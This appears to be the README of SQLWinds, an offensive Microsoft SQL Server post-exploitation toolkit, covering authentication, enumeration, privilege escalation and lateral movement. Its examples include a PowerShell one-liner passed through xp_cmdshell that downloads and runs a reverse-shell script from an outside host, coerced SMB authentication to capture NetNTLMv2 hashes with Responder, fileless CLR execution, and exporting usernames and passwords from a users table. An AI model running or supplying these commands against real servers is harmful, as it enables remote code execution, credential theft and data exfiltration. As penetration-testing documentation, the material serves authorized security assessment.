SQLWinds

SQL Security Assessment & Post-Exploitation Toolkit

SQLWinds is a command-line tool for security testing and exploiting Microsoft SQL Server. It provides an interactive environment to deeply analyze servers, escalate privileges, execute attacks, and pivot through networks all with specialized commands for tasks like in-memory code execution and SCCM database exploration.

📖 Documentation & Resources

Quick Links:

• Full Documentation & Wiki - Complete usage guide and command reference
• Report an Issue - Found a bug or have a feature request?
• Latest Release - Download the newest version

Features

• Diverse Authentication: Supports SQL, Windows Integrated (--integrated), and Kerberos delegation (--kerberos with --user/--pass).
• Comprehensive Enumeration:
  • Server info, databases, tables, columns, users, and permissions.
  • Security configuration audit (xp_cmdshell, CLR, OLE, etc.).
  • Sensitive data discovery and secret extraction.
  • Linked server enumeration and exploitation.
• Post-Exploitation & Lateral Movement:
  • Code Execution: Enable and use xp_cmdshell, OLE Automation Procedures (sp_oacreate), and CLR integration.
  • In-Memory CLR: Load and execute .NET assemblies directly from memory without dropping files to disk (:memclr).
  • Credential Theft: Force SMB authentication to a UNC path for relay attacks (:unc_smb).
  • Registry Interaction: Read registry keys and values via xp_regread.
  • Persistence: Create, list, and execute SQL Agent Jobs.
  • Data Exfiltration: Upload/download files and export query results to CSV/JSON.

Installation & Compilation

Quick Build

The repository includes a build.bat script for easy compilation on Windows:

.\build.bat

The compiled SQLWinds.exe executable will be placed in the bin\Release\ directory.

Manual Build

1. Ensure you have the .NET Framework (≥ 4.6.1) or .NET SDK installed.
2. Clone the repository:
   root@kitploit:~

   git clone https://github.com/blue0x1/sqlwinds.git
   cd sqlwinds
   

3. Compile the solution:
   root@kitploit:~

   msbuild SQLWinds.sln /p:Configuration=Release
   

Usage

Basic Connection

# SQL Authentication
SQLWinds.exe --server TARGET\\INSTANCE --user sa --pass Password123

# Windows Authentication (Current User Context)
SQLWinds.exe --server sql01.corp.local --integrated

# Kerberos Delegation (with provided credentials)
SQLWinds.exe --server sql01.prod.corp.local --kerberos --user CORP\\svc_sql --pass SvcPass123!

# Connect and run a single command
SQLWinds.exe --server 10.0.0.5 --user sa --pass pass --run-cmd "SELECT name FROM sys.databases"

Common Command-Line Options

Interactive REPL Mode

sqlwinds> :info
sqlwinds> :dbs
sqlwinds> :users
sqlwinds> :enable_xp_cmdshell
sqlwinds> :xp whoami
sqlwinds> :spn
sqlwinds> help

Complete REPL Command Reference

Example: Using :plain for Large Scripts

The :plain command is essential for executing large, multi-line SQL scripts.

sqlwinds> :plain
SQL> 
SQL> BEGIN TRY
.....>     SELECT * FROM [VeryImportantTable];
.....>     EXEC sp_configure 'show advanced options', 1;
.....>     RECONFIGURE;
.....> END TRY
.....> BEGIN CATCH
.....>     SELECT ERROR_MESSAGE();
.....> END CATCH
.....> :execute

1. Type :plain and press Enter.
2. Paste or type your complete SQL script.
3. On a new line, type :execute to run the entire script or :cancel to abort.

Examples

1. Audit

SQLWinds.exe --server dc01 --integrated --security-audit 

2. Leveraging xp_cmdshell for Code Execution

SQLWinds.exe --server 192.168.1.15 --user sa --pass pass --enable-xp-cmdshell
# In the REPL that opens:
sqlwinds> :xp whoami /all
sqlwinds> :xp powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.10/revshell.ps1')"

3. In-Memory CLR Execution (Fileless)

# Compile your .NET assembly to a DLL (e.g., CommandExecutor.dll)
sqlwinds> :enable_clr
sqlwinds> :memclr "C:\Tools\CommandExecutor.dll" "CommandExecutor.Class1" "Exec" "whoami"

4. Stealing NetNTLMv2 Hashes via SRelay

# On your machine: sudo responder -I tun0
sqlwinds> :unc_smb \\10.10.15.10\fake_share

5. SCCM Database Exploitation

SQLWinds.exe --server sccmdb.corp.local --integrated
sqlwinds> :sccm_info
sqlwinds> :sccm_collections
sqlwinds> :sccm_application "Microsoft 365"

6. Data Exfiltration

# Export sensitive data to CSV
sqlwinds> :exportcsv "SELECT username, password FROM users" credentials.csv

# Download a file stored in the database
sqlwinds> :download "SELECT file_data FROM documents WHERE id=1" secret.docx

🤝 Contributing & Support

We welcome contributions! If you have ideas for improvements or find any issues:

1. Check the Wiki for documentation
2. Search existing Issues to avoid duplicates
3. Create a new issue with detailed information about your suggestion or bug report

⚠️ Disclaimer

This tool is intended for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have explicit permission to test is illegal. The developers assume no liability and are not responsible for any misuse or damage caused by this program.

Credits

Developed by blue0x1.